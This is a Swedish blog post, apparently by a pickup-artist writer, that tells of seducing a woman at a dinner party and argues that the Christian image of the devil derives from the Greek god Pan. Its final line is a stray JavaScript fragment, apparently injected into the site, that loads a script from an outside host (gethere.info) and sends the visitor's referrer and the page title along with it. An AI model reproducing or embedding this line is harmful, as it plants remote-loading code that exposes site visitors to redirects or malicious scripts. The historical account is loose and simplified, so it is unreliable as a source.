För ett par månader sen var jag på en middag hos en kompis. Det va en sådär lite up tight stämning. Ett sällskap på 15 pers och jag kände bara två av dom sen tidigare sen tidigare. Vi satt där och åt och bredvid mej satt en brunette med stora ljus bruna ögon. Jag små retades med henne och fick henne att skratta hela tiden. Hon frågade vad jag jobbar med och jag förklarade att jag jobbar som en rumpmodell för Ellos katalogen när jag inte är en mänsklig nöt knäppare som dom brukar hyra in till julbord och jag knäckar nötterna med mina skinkor, men förutom det lär jag även män ragga som Hitch!

Hon skrattar och säger: nej seriöst, berätta nu vad gör jobbar du med? Så jag berättade för henne om mitt jobb (vanliga jobb). Hon tittade på mej och sa va imponerande. Senare på kvällen stod vi i balkongen och rökte och hon tog mej på axeln tittade i mina ögon och sa: Du är fan som djävulen! Du vet exakt vad du ska säga… sen kysste hon mej.

Efter kyssen sa jag: Nej jag är Pan! Jag är inte djävulen. I den här blogg posten ska förklara det jag förklarade för henne innan vi satte oss i taxin och drog hem till mej.

Det finns en väldigt intressant parallell med bilden av djävulen och hur den upp kom och pick up. I nästan alla västerländska samhällen så råder det konsensus om hur djävulen ser ut. Här är bilden ni har alla sätt den förut: Han är en bock i under kroppen och en människa på över kroppen.

the devil Pan!

Bilden av djävulen kommer från den grekiska halv guden Pan. Pan va i den grekiska mytologin en halv gud som bodde i skogen nedan för Olympos som var det berg där gudarna levde enligt mytologin. Pan spelade en flöjt och enligt sagan så ska alla som hört flöjt sången blivit förtrollade och följt med honom ner i skogen, där han senare hade djurisk sex med dom. Pan’s av bildades ofta spelande på flöjten, stående med hans gigantiska kön. Som på den här bilden, statyn kommer är från 500 innan Kristus födelse och finns i Atens nationalmuseum.

tal760a Pan!

Den romerska mytologin är nästan den samma som den grekiska, gudarna har bara bytt namn i vissa fall och en del nya berättelser lags till. Pan fanns även med i den romerska mytologin. Senare kom en ny religion nämligen kristendomen. De kristna tog över Romarriket väldigt sakta, medan de i Romarriket gick emot dem och det gjorde de kristna starkare. Efter ett tag kunde inte romarna gå emot en så stor folkgrupp, så de gjorde kristendomen till sin statsreligion. Det var med hjälp av att Romarriket fick en ny härskare, som själv var kristen. År 313 förklarade kejsar Konstantin kristendomen laglig, och de kristna kunde därmed verka öppet. Detta fick till följd att mängder med kyrkor byggdes under en kort tid över hela romarriket. Även kejsar Konstantin blev kristen.

Där med lades mytologin på hyllan. Men kultur arvet fanns kvar. Djävulen är en stark karaktär inom kristendomen och i synnerhet i den form av kristen dom som utvecklades under den tiden nämligen katolicismen. Man behövde en bild av djävulen när man skulle förklara för folk. Det fick bli Pan. Pan var ”syndig” han spelade på flöjten och lurade folk till ”synden”. I den grekiska mytologin finns det ingen bra eller dålig gud ingen av gudarna är god eller ond utan alla har en karaktär och visdomen skall komma från dom olika berättelserna om dom mytologiska karaktärernas samspel. Men i dom monoteistiska regionerna finns det en stark bild av god och ond.

Så när man skulle avbilda djävulen i konsten så målade man Pan utan det stora könet, självklart. Pan va bara en snubbe i mytologin som hade ett tight game. Han kunde spela på flöjten och dom följde honom in i skogen och viola! Att det hela var en synd upp kom långt senare, och är en del av det religiösa arvet som vi har, för oavsett vilken religion man har så har man en stark definition av vad som är ”syndigt”, men även folk som inte tror på gud har en bild av synden som är mer eller mindre en social konditionering, som hänger samman med just det religiösa arvet inom kulturen. Där av att ha förmågan till attraktion är ingen synd. Verken gud eller djävulen finns men Pan finns. Hans står framför dig! Jag är Pan! Det var ungefär här som brunetten frågade mig om vi ska ta en sväng i skogen där Pan bor.

LOVE- THEMAN

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;